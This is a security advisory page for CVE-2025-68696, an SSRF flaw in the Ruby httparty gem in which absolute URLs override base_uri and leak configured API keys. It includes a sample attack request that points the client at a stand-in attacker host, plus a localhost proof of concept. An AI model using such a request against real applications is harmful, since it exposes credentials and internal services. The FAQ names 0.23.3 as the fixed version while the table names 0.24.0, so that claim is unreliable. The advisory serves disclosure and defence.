CVE-2025-68696: httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage

Published Dec 23, 2025
·
Updated

Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

Details

When httparty receives a path argument that is an absolute URL, it ignores the baseuri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

Consider the following example of a web application:

rb require 'sinatra' require 'httparty'

class RepositoryClient include HTTParty baseuri 'http://exmaple.test/api/v1/repositories/' headers 'X-API-KEY' => '1234567890' end

post '/issue' do requestbody = JSON.parse(request.body.read) RepositoryClient.get(requestbody['repositoryid']).body # do something json message: 'OK' end

Now, suppose an attacker sends a request like this:

POST /issue HTTP/1.1 Host: localhost:10000 Content-Type: application/json

{ "repositoryid": "http://attacker.test", "title": "test" }

In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.

A similar problem was reported and fixed in the HTTP client library axios in the past: <https://github.com/axios/axios/issues/6463>

Also, Python's urljoin function has documented a warning about similar behavior: <https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>

PoC

Follow these steps to reproduce the issue:

1. Set up two simple HTTP servers.

bash mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 &

2. Create a script (for example, main.rb):

rb require 'httparty'

class Client include HTTParty baseuri 'http://localhost:10001' end

data = Client.get('http://localhost:10002').body puts data

3. Run the script:

bash $ ruby main.rb this is server2

Although baseuri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.

Impact

- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts. - SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running. - Affected users: Any software that uses baseuri and does not properly validate the path parameter may be affected by this issue.

Other sources

httparty is an API tool. In versions 0.23.2 and prior, httparty is vulnerable to SSRF. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. This issue has been patched via commit 0529bcd.

NVD

Affected Software

3 affected componentsFixes available
gem/httparty<=0.23.2
rubygems/httparty<=0.23.2
0.24.0
jnunemaker httparty<0.24.0

Event History

Dec 23, 2025
Advisory Published
via GitHub·07:31 PM
Data Sourced
via GitHub·07:31 PM
DescriptionWeaknessAffected Software
CVE Published
via MITRE·10:59 PM
Data Sourced
via MITRE·10:59 PM
DescriptionWeakness
Data Sourced
via NVD·11:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 PM
RemedyAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-68696?

CVE-2025-68696 is considered a high-severity vulnerability due to the risk of leaking sensitive API keys and allowing unauthorized access to internal servers.

2

How do I fix CVE-2025-68696?

To fix CVE-2025-68696, update httparty to version 0.23.3 or later, which includes the security patch for this vulnerability.

3

What types of attacks does CVE-2025-68696 enable?

CVE-2025-68696 enables SSRF attacks, which can potentially leak API keys and allow unauthorized requests to internal services.

4

What versions of httparty are affected by CVE-2025-68696?

CVE-2025-68696 affects httparty versions 0.23.2 and prior.

5

Is there a patch for CVE-2025-68696?

Yes, CVE-2025-68696 has been patched in httparty version 0.23.3 and later.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203